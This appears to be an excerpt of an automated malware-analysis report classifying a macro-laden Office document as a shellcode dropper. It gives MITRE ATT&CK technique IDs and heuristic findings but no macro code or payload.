MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious Office document containing VBA macros, as indicated by multiple OLE_VBA_* heuristic firings and the ClamAV detection. The Auto_Open macro utilizes VirtualAlloc and CreateThread API calls, suggesting it attempts to allocate memory and execute shellcode, likely a second-stage payload. The presence of the 'macros.bas' file further confirms the macro-based nature of this dropper.

  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
